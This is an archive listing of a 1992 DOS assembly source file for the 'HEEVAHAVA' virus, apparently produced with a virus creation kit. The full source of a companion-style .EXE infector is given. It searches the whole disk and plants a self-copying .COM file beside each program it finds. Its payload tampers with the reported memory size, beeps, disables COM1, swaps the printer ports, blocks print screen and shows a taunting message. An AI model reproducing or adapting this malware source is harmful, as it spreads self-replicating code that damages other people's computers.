home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HEEVAHAV.ASM < prev    next >
Assembly Source File  |  1992-08-12  |  13KB  |  297 lines

  1. ; HEEVAHAV.ASM -- HEEVAHAVA VIRUS
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM
  3. ; Written by URNST KOUCH
  4. ; This is a spawning virus I decided to take to the limit,
  5. ; to step on the accelerator of the VCL, so to speak.
  6. ; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt
  7. ; to infect almost 20 files anywhere on the disk every run. It will mess
  8. ; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2,
  9. ; nullify print screen and finally, when the disk is completely saturated
  10. ; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck
  11. ; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania
  12. ; Dutch pejorative. Colloquially, it was the name given to the farmhand
  13. ; given the job of holding the bull's pecker while semen was collected.
  14.  
  15. virus_type      equ     2                       ; Spawning Virus
  16. is_encrypted    equ     0                       ; We're not encrypted
  17. tsr_virus       equ     0                       ; We're not TSR
  18.  
  19. code            segment byte public
  20.         assume  cs:code,ds:code,es:code,ss:code
  21.         org     0100h
  22.  
  23. start           label   near
  24.  
  25. main            proc    near
  26.  
  27.         mov     ah,04Ah                 ; DOS resize memory function
  28.         mov     bx,[finish - start / 0282h]  ; BX holds # of para.
  29.         int     21h
  30.  
  31.         mov     sp,(finish - start) + 01100h  ; Change top of stack
  32.  
  33.         mov     si,offset spawn_name    ; SI points to true filename
  34.         int     02Eh                    ; DOS execution back-door
  35.         push    ax                      ; Save return value for later
  36.  
  37.         mov     ax,cs                   ; AX holds code segment
  38.         mov     ds,ax                   ; Restore data segment
  39.         mov     es,ax                   ; Restore extra segment
  40.  
  41.         mov     cx,0013h                ; Do 19 infections
  42. search_loop:    push    cx                      ; Save CX
  43.         call    search_files            ; Find and infect a file
  44.         pop     cx                      ; Restore CX
  45.         loop    search_loop             ; Repeat until CX is 0
  46.  
  47.         mov     dx,0064h                ; First argument is 100
  48.         push    es                      ; Save ES
  49.         mov     ax,040h                 ; Set extra segment to 040h
  50.         mov     es,ax                   ; (ROM BIOS)
  51.         mov     word ptr es:[013h],dx   ; Store new RAM ammount
  52.         pop     es                      ; Restore ES
  53.  
  54.         mov     cx,0005h                ; First argument is 5
  55.         jcxz    beep_end                ; Exit if there are no beeps
  56.         mov     ax,0E07h                ; BIOS display char., BEL
  57. beep_loop:      int     010h                    ; Beep
  58.         loop    beep_loop               ; Beep until --CX = 0
  59. beep_end:
  60.  
  61.         push    es                      ; Save ES
  62.         mov     ax,050h                 ; Set the extra segement to
  63.         mov     es,ax                   ; the BIOS area
  64.         mov     byte ptr [0000h],1      ; Set print screen flag to
  65.         pop     es                      ; "printing," restore ES
  66.  
  67.         mov     si,0001h                ; First argument is 1
  68.         push    es                      ; Save ES
  69.         xor     ax,ax                   ; Set the extra segment to
  70.         mov     es,ax                   ; zero (ROM BIOS)
  71.         shl     si,1                    ; Convert to word index
  72.         mov     word ptr [si + 03FEh],0 ; Zero COM port address
  73.         pop     es                      ; Restore ES
  74.  
  75.         mov     bx,0001h                ; First argument is 1
  76.         mov     si,0002h                ; Second argument is 2
  77.         push    es                      ; Save ES
  78.         xor     ax,ax                   ; Set the extra segment to
  79.         mov     es,ax                   ; zero (ROM BIOS)
  80.         shl     bx,1                    ; Convert to word index
  81.         shl     si,1                    ; Convert to word index
  82.         mov     ax,word ptr [bx + 0407h]; Zero COM port address
  83.         xchg    word ptr [si + 0407h],ax; Put first value in second,
  84.         mov     word ptr [bx + 0407h],ax; and second value in first!
  85.         pop     es                      ; Restore ES
  86.  
  87.         call    infected_all
  88.         or      ax,ax                   ; Did the function return zero?
  89.         je      strt00                  ; If equal, do effect
  90.         jmp     end00                   ; Otherwise skip over it
  91. strt00:         mov     si,offset data00        ; SI points to data
  92.         mov     ah,0Eh                  ; BIOS display char. function
  93. display_loop:   lodsb                           ; Load the next char. into AL
  94.         or      al,al                   ; Is the character a null?
  95.         je      disp_strnend            ; If it is, exit
  96.         int     010h                    ; BIOS video interrupt
  97.         jmp     short display_loop      ; Do the next character
  98. disp_strnend:
  99.  
  100. end00:          pop     ax                      ; AL holds return value
  101.         mov     ah,04Ch                 ; DOS terminate function
  102.         int     021h
  103. main            endp
  104.  
  105. search_files    proc    near
  106.         push    bp                      ; Save BP
  107.         mov     bp,sp                   ; BP points to local buffer
  108.         sub     sp,64                   ; Allocate 64 bytes on stack
  109.  
  110.         mov     ah,047h                 ; DOS get current dir function
  111.         xor     dl,dl                   ; DL holds drive # (current)
  112.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  113.         int     021h
  114.  
  115.         mov     ah,03Bh                 ; DOS change directory function
  116.         mov     dx,offset root          ; DX points to root directory
  117.         int     021h
  118.  
  119.         call    traverse                ; Start the traversal
  120.  
  121.         mov     ah,03Bh                 ; DOS change directory function
  122.         lea     dx,[bp - 64]            ; DX points to old directory
  123.         int     021h
  124.  
  125.         mov     sp,bp                   ; Restore old stack pointer
  126.         pop     bp                      ; Restore BP
  127.         ret                             ; Return to caller
  128.  
  129. root            db      "\",0                   ; Root directory
  130. search_files    endp
  131.  
  132. traverse        proc    near
  133.         push    bp                      ; Save BP
  134.  
  135.         mov     ah,02Fh                 ; DOS get DTA function
  136.         int     021h
  137.         push    bx                      ; Save old DTA address
  138.  
  139.         mov     bp,sp                   ; BP points to local buffer
  140.         sub     sp,128                  ; Allocate 128 bytes on stack
  141.  
  142.         mov     ah,01Ah                 ; DOS set DTA function
  143.         lea     dx,[bp - 128]           ; DX points to buffer
  144.         int     021h
  145.  
  146.         mov     ah,04Eh                 ; DOS find first function
  147.         mov     cx,00010000b            ; CX holds search attributes
  148.         mov     dx,offset all_files     ; DX points to "*.*"
  149.         int     021h
  150.         jc      leave_traverse          ; Leave if no files present
  151.  
  152. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  153.         jne     another_dir             ; If not, try again
  154.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  155.         je      another_dir             ;If so, keep going
  156.  
  157.         mov     ah,03Bh                 ; DOS change directory function
  158.         lea     dx,[bp - 98]            ; DX points to new directory
  159.         int     021h
  160.  
  161.         call    traverse                ; Recursively call ourself
  162.  
  163.         pushf                           ; Save the flags
  164.         mov     ah,03Bh                 ; DOS change directory function
  165.         mov     dx,offset up_dir        ; DX points to parent directory
  166.         int     021h
  167.         popf                            ; Restore the flags
  168.  
  169.         jnc     done_searching          ; If we infected then exit
  170.  
  171. another_dir:    mov     ah,04Fh                 ; DOS find next function
  172.         int     021h
  173.         jnc     check_dir               ; If found check the file
  174.  
  175. leave_traverse:
  176.         mov     dx,offset exe_mask      ; DX points to "*.EXE"
  177.         call    find_files              ; Try to infect a file
  178. done_searching: mov     sp,bp                   ; Restore old stack frame
  179.         mov     ah,01Ah                 ; DOS set DTA function
  180.         pop     dx                      ; Retrieve old DTA address
  181.         int     021h
  182.  
  183.         pop     bp                      ; Restore BP
  184.         ret                             ; Return to caller
  185.  
  186. up_dir          db      "..",0                  ; Parent directory name
  187. all_files       db      "*.*",0                 ; Directories to search for
  188. exe_mask        db      "*.EXE",0               ; Mask for all .EXE files
  189. traverse        endp
  190.  
  191. find_files      proc    near
  192.         push    bp                      ; Save BP
  193.  
  194.         mov     ah,02Fh                 ; DOS get DTA function
  195.         int     021h
  196.         push    bx                      ; Save old DTA address
  197.  
  198.         mov     bp,sp                   ; BP points to local buffer
  199.         sub     sp,128                  ; Allocate 128 bytes on stack
  200.  
  201.         push    dx                      ; Save file mask
  202.         mov     ah,01Ah                 ; DOS set DTA function
  203.         lea     dx,[bp - 128]           ; DX points to buffer
  204.         int     021h
  205.  
  206.         mov     ah,04Eh                 ; DOS find first file function
  207.         mov     cx,00100111b            ; CX holds all file attributes
  208.         pop     dx                      ; Restore file mask
  209. find_a_file:    int     021h
  210.         jc      done_finding            ; Exit if no files found
  211.         call    infect_file             ; Infect the file!
  212.         jnc     done_finding            ; Exit if no error
  213.         mov     ah,04Fh                 ; DOS find next file function
  214.         jmp     short find_a_file       ; Try finding another file
  215.  
  216. done_finding:   mov     sp,bp                   ; Restore old stack frame
  217.         mov     ah,01Ah                 ; DOS set DTA function
  218.         pop     dx                      ; Retrieve old DTA address
  219.         int     021h
  220.  
  221.         pop     bp                      ; Restore BP
  222.         ret                             ; Return to caller
  223. find_files      endp
  224.  
  225. infect_file     proc    near
  226.         mov     ah,02Fh                 ; DOS get DTA address function
  227.         int     021h
  228.         mov     di,bx                   ; DI points to the DTA
  229.  
  230.         lea     si,[di + 01Eh]          ; SI points to file name
  231.         mov     dx,si                   ; DX points to file name, too
  232.         mov     di,offset spawn_name + 1; DI points to new name
  233.         xor     ah,ah                   ; AH holds character count
  234. transfer_loop:  lodsb                           ; Load a character
  235.         or      al,al                   ; Is it a NULL?
  236.         je      transfer_end            ; If so then leave the loop
  237.         inc     ah                      ; Add one to the character count
  238.         stosb                           ; Save the byte in the buffer
  239.         jmp     short transfer_loop     ; Repeat the loop
  240. transfer_end:   mov     byte ptr [spawn_name],ah; First byte holds char. count
  241.         mov     byte ptr [di],13        ; Make CR the final character
  242.  
  243.         mov     di,dx                   ; DI points to file name
  244.         xor     ch,ch                   ;
  245.         mov     cl,ah                   ; CX holds length of filename
  246.         mov     al,'.'                  ; AL holds char. to search for
  247.     repne   scasb                           ; Search for a dot in the name
  248.         mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
  249.         mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"
  250.  
  251.         mov     byte ptr [set_carry],0  ; Assume we'll fail
  252.         mov     ax,03D00h               ; DOS open file function, r/o
  253.         int     021h
  254.         jnc     infection_done          ; File already exists, so leave
  255.         mov     byte ptr [set_carry],1  ; Success -- the file is OK
  256.  
  257.         mov     ah,03Ch                 ; DOS create file function
  258.         mov     cx,00100111b            ; CX holds file attributes (all)
  259.         int     021h
  260.         xchg    bx,ax                   ; BX holds file handle
  261.  
  262.         mov     ah,040h                 ; DOS write to file function
  263.         mov     cx,finish - start       ; CX holds virus length
  264.         mov     dx,offset start         ; DX points to start of virus
  265.         int     021h
  266.  
  267.         mov     ah,03Eh                 ; DOS close file function
  268.         int     021h
  269.  
  270. infection_done: cmp     byte ptr [set_carry],1  ; Set carry flag if failed
  271.         ret                             ; Return to caller
  272.  
  273. spawn_name      db      12,12 dup (?),13        ; Name for next spawn
  274. set_carry       db      ?                       ; Set-carry-on-exit flag
  275. infect_file     endp
  276.  
  277.  
  278. infected_all    proc    near
  279. #if virus_type  eq      0
  280.         mov     al,byte ptr [di + set_carry]
  281.         else
  282.         mov     al,byte ptr [set_carry] ; AX holds success value
  283. #endif
  284.         cbw                             ; Sign-extend AL into AX
  285.         ret                             ; Return to caller
  286. infected_all    endp
  287.  
  288. data00          db   7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0
  289.  
  290. vcl_marker      db      "HEEVA[VCL]",0               ; VCL creation marker
  291.  
  292. finish          label   near
  293.  
  294. code            ends
  295.         end     main
  296.  
  297.